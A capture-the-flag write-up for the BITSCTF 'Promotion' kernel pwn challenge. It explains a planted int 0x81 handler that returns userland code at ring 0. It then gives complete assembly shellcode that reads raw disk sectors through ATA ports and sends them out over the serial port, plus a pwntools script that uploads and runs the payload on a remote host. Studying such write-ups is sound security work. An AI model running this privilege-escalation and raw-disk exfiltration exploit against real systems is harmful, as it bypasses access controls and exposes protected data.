←
$ Pwn: Promotion
Flag: BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}Executive Summary
The kernel patch introduced a custom interrupt handler at vector 0x81 (asm_exc_promotion) that corrupts the iretq return frame. Triggering int 0x81 from userland returns execution at CPL=0 (kernel privilege), giving a privilege-escalation primitive.
Direct ring0 payloads that used normal stack/memory operations often caused double faults due to unusual post-interrupt execution context. The reliable solution was a stackless ring0 I/O payload:
- Trigger
int 0x81. - Run ATA PIO read on primary disk (
/dev/sdaequivalent) through ports0x1f0..0x1f7. - Stream sector bytes directly to serial port
0x3f8so output returns over netcat.
This bypassed the root permission restriction on /dev/sda and avoided unstable kernel stack usage.
Vulnerability Analysis
Relevant patch behavior (from diff.txt):
- Added interrupt vector
EXC_PROMOTION_VECTOR = 0x81 - Added handler:
- sets saved
CSin iret frame to currentCS - zeros iret frame slot corresponding to
SS - executes
iretq
- sets saved
Observed behavior on target:
int 0x81runs and returns successfully.- A probe binary exiting with
CSas exit code returned16(0x10), confirming ring0 CS. cliafterint 0x81succeeded, confirming privileged instruction execution.
Exploitation Strategy
Why this worked reliably
- Accessing
/dev/sdadirectly from user (uid=1000) is denied. - Ring0 allows direct port I/O.
- Avoiding stack-heavy/control-flow-heavy kernel operations prevents double-fault crashes.
- Serial exfiltration (
out 0x3f8) gives a direct output path to the remote session.
Data path
- ATA READ SECTORS (
0x20) forLBA=0,count=1 - Read 256 words from data port
0x1f0 - Emit both bytes of each word through COM1 TX (
0x3f8) after checking LSR THRE (0x3fd & 0x20)
Main Program (Exploit Payload)
BITS 64
global _start
section .text
_start:
int 0x81
cli
.wait_bsy0:
mov dx, 0x1f7
in al, dx
test al, 0x80
jnz .wait_bsy0
mov dx, 0x1f6
mov al, 0xE0
out dx, al
mov dx, 0x1f2
mov al, 1
out dx, al
mov dx, 0x1f3
xor al, al
out dx, al
mov dx, 0x1f4
xor al, al
out dx, al
mov dx, 0x1f5
xor al, al
out dx, al
mov dx, 0x1f7
mov al, 0x20
out dx, al
.wait_drq:
mov dx, 0x1f7
in al, dx
test al, 0x80
jnz .wait_drq
test al, 0x08
jz .wait_drq
mov ecx, 256
.read_loop:
mov dx, 0x1f0
in ax, dx
; send low byte
mov bl, al
.wait_tx1:
mov dx, 0x3fd
in al, dx
test al, 0x20
jz .wait_tx1
mov dx, 0x3f8
mov al, bl
out dx, al
; send high byte
mov bl, ah
.wait_tx2:
mov dx, 0x3fd
in al, dx
test al, 0x20
jz .wait_tx2
mov dx, 0x3f8
mov al, bl
out dx, al
dec ecx
jnz .read_loop
.hang:
hlt
jmp .hangMinimal Remote Runner (Pwntools)
from pwn import *
import re
context.log_level = 'info'
# Build first:
# nasm -f elf64 ata_to_serial.asm -o ata_to_serial.o
# ld -o ata_to_serial ata_to_serial.o
payload_b64 = open('ata_to_serial.b64', 'r').read().strip()
io = remote('20.193.149.152', 1337)
io.recvuntil(b'~ $ ')
io.sendline(b"base64 -d > /tmp/s <<'EOF'")
for i in range(0, len(payload_b64), 300):
io.sendline(payload_b64[i:i+300].encode())
io.sendline(b'EOF')
aio = io.recvuntil(b'~ $ ')
io.sendline(b'chmod +x /tmp/s')
io.recvuntil(b'~ $ ')
io.sendline(b'/tmp/s')
out = io.recvrepeat(5)
print(out)
m = re.search(br'BITSCTF\\{[^\\}\\n]+\\}', out)
if m:
print('FLAG:', m.group(0).decode())
else:
print('Flag not found in captured output')
io.close()